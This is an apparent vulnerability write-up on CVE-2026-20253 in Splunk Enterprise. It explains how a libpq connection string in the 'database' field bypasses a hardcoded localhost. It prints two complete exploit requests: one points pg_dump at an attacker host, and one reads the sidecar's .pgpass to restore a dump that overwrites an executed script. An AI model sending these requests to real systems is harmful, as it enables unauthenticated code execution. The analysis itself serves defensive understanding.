Splunk advisory SVD-2026-0603, published 2026-06-10, describes CVE-2026-20253 as missing authentication on the PostgreSQL sidecar's /v1/postgres/recovery/backup and /restore endpoints. The watchTowr Detection Artifact Generator decides "patched" by reading a 401 instead of a 400. The handler the 401 now blocks executes pg_dump -h localhost -p port --clean -v -w -U user -f backupFile -Fc database. The -h localhost flag is in the source. The trailing positional argument is the JSON body's database field, and PostgreSQL's libpq documentation states that connection-string parameters override conflicting command-line options. The flag is in the source. The override is in the body.
CVE-2026-20253: Splunk Hardcoded `-h localhost`. The `database` Field Is A libpq Connection String.
patterns
cve
proof of concept
The advisory names authentication. The patch is the auth gate. The bug is libpq.
SVD-2026-0603 reads, in full: "In Splunk Enterprise versions below 10.2.4 and 10.0.7, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint." The CWE is 306, Missing Authentication for Critical Function. The mitigation field reads "None." Upgrade is the only listed remediation. The advisory credits Alex Hordijk (hordalex).
The watchTowr Detection Artifact Generator is fifty-eight lines of Python that sends one POST and reads the response code:
def dag(host, region):
url = f"{host}{region}/splunkd/__raw/v1/postgres/recovery/backup"
headers = {"Authorization":"Basic ZGFnOg=="}
resp = requests.post(url, headers=headers, verify = False)
if resp.status_code == 400 and 'Failed to decode' in resp.text:
print('[+] VULNERABLE - access to /v1/postgres/recovery/backup not blocked')
elif resp.status_code == 401:
print('[-] NOT VULNERABLE - access to /v1/postgres/recovery/backup blocked')ZGFnOg== is base64 for dag:. Empty password. The username is the scanner's own tool name (Detection Artifact Generator); any syntactically valid header would work. The detection logic is whether the response reaches the JSON parser. A 400 with body Failed to decode means the handler began parsing and failed because the body was empty. A 401 means an authentication layer rejected the request before it reached the handler. The patch added that layer. Until the patch shipped on 2026-06-10, no authentication check ran between the network and the handler that constructs the pg_dump command line.
The watchTowr writeup of the chain, published the same week, names the command line the handler reaches and the conninfo override that walks through it. The Detection Artifact Generator deliberately stops at the 400-or-401 discriminator and ships no exploit primitive. The blog post ships the chain. The same author published both.
Splunk's command line names what was assumed.
The sidecar's backup handler invokes pg_dump with this argument vector:
pg_dump -h localhost -p port --clean -v -w -U user -f backupFile -Fc databaseThe flags fall into two groups. The hardcoded group is the developer's encoded threat model: -h localhost pins the connection to the loopback Postgres on 127.0.0.1:5435, -w forbids interactive password prompts, -Fc selects the custom binary format, --clean and -v are operational. The request-supplied group is the values the developer reads as data: -U user carries the basic-auth username, -f backupFile carries the JSON backupFile field, and the trailing positional database carries the JSON database field.
The hardcoded -h localhost is the developer's source-line statement that this endpoint exists for local backups only. The loopback Postgres is configured with whatever local trust map the sidecar's bootstrap installed; the sidecar holds its own admin credentials in /opt/splunk/var/packages/data/postgres/.pgpass. If the basic-auth username does not match a configured Postgres role, the connection fails. If the role requires a password and -w forbids prompting, the connection fails. The endpoint's authentication, in the developer's mental model, is the local Postgres's authentication.
The model holds only as long as pg_dump honors -h localhost.
dbname is a database identifier and a connection string.
The trailing positional argument to pg_dump is the database to dump. PostgreSQL's libpq connection-string documentation describes how it is parsed:
"Alternatively, the
dbnameparameter can be set to either a URI or a key/value connection string... Whendbnameis set this way, the values it contains take precedence over any conflicting parameters."
When the value of dbname contains an = sign, libpq does not treat it as a database name. It parses it as a key/value connection string. The keys libpq accepts include host, hostaddr, port, dbname, user, password, and passfile. Whatever the conninfo string sets, libpq honors. The -h localhost flag on the command line is one of the conflicting parameters the documentation says the conninfo string overrides.
This is documented libpq behavior, not a parser bug. The conninfo-string-in-dbname form has been part of libpq since the URI parsing was added in PostgreSQL 9.2, more than a decade before Splunk 10.0 shipped the sidecar. Every PostgreSQL client tool that takes a --dbname value inherits it. The grammar is wide because the grammar serves the legitimate use case of "pass one connection identifier through a chain of shell wrappers without parsing it." That use case is the same primitive an attacker reaches for.
The handler's last positional argument receives the JSON database field as a byte string. The field is named database. libpq reads it as a connection string when it looks like one.
The implicit allowlist of values for database (database identifiers on the local Postgres) lives in the same source line as -h localhost. libpq's parser was never told about it.
The watchTowr chain runs in two requests.
The full chain combines two requests against the same endpoint family. The first request:
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target
Authorization: Basic dGVzdDo=
Content-Type: application/json
{"database":"hostaddr=attacker.db.watchTowr.local dbname=testdb","backupFile":"/tmp/whatever"}libpq parses hostaddr=attacker.db.watchTowr.local dbname=testdb as a conninfo string. The hostaddr parameter overrides -h localhost. The handler's pg_dump connects to the attacker's PostgreSQL server and runs the binary-format dump protocol against it. The attacker's server returns whatever dump bytes it chooses.
The bytes the attacker returns are a pg_dump -Fc payload containing a plpgsql function that calls lo_from_bytea and lo_export. lo_export is the standard PostgreSQL primitive for writing the bytes of a large object to a path on the running server's filesystem, under the postgres process user. It exists for legitimate database-export workflows. It does not constrain the destination path to anything the calling process intended.
The first request ends with the attacker's dump on disk on the Splunk host, parked under whatever path backupFile named. Executing it requires a second request. The second request reuses the same conninfo trick to authenticate as the local Postgres admin:
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: target
Authorization: Basic cG9zdGdyZXNfYWRtaW46
Content-Type: application/json
{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/whatever"}The dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass conninfo redirects the connection to the local Postgres (template1 is the default initial database) and supplies the password from the sidecar's own .pgpass. pg_restore authenticates as the local Postgres superuser and replays the attacker's dump, including the plpgsql function that calls lo_export. The target path is the attacker's choice. watchTowr names /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py.
Splunk's modular inputs are scripts an installed app registers in inputs.conf to be executed by the splunkd process, with stdout consumed as event data. Every app under /opt/splunk/etc/apps/<app>/ can ship a bin/ directory whose contents the app loader treats as executable code. The Secure Gateway app ships such an input pointing at bin/ssg_enable_modular_input.py. The app loader does not verify the script's bytes between writes and invocations; the next scheduled fire reads whatever is on disk. Replacing the file replaces the handler. The next fire executes the replacement as the splunk system user.
The advisory describes the impact as "create or truncate arbitrary files." That description is accurate at the primitive level. It does not name which paths on the Splunk host the Splunk runtime is configured to execute. This is the unauth-write-to-execution-path shape: an unauthenticated trigger, a write into a path the server itself re-reads as code, and a contract that does not validate the destination. The auto-execution surface is Splunk's app-loader convention, not a webroot. The composition is unchanged.
The convention was never installed.
The structural shape this CVE belongs to is named in this catalog as convention-is-the-allowlist. The Splunk developer who wrote pg_dump -h localhost ... -Fc database understood the threat model; nobody types -h localhost by accident. The developer's mental model of the trailing database argument was "the name of a database on the local server," a constrained subset of strings. The PostgreSQL convention they were reading from is that dbname is a database identifier. That convention is documented in the same chapter that documents the conninfo grammar. The conninfo grammar is the part that admits everything else.
The closest sibling in this catalog is CVE-2026-44635 against Kysely, where the parameter is typed K extends string and the developer reads it as "one property name on the column." TypeScript's structural typing resolves the constraint to string, and the runtime concatenates whatever string arrives into a JSON-path expression whose grammar treats ., [, ], *, and ? as structural. Splunk and Kysely are the same shape: a parameter whose name and surrounding documentation imply a constrained value space, fed to a parser whose grammar is wider. The fix in both cases narrows against the immediate context. Kysely wraps member keys in quoted JSON-path notation. Splunk gates the route. Neither fix touches the parser whose grammar opened the gap.
The 10.0.7 and 10.2.4 patches close the demonstrated chain by adding the authentication layer the watchTowr scanner reads as a 401. The handler's command line still reads from a request field labeled database and still feeds it to libpq as the trailing positional argument to pg_dump. An authenticated caller, post-patch, still controls the conninfo. The gate constrains the population of callers. The grammar constrains nothing it did not constrain before.
Splunk's authentication was not missing. It was delegated to Postgres, on a code path where the caller picked the Postgres.
The patch added the gate. The database field is still a connection string.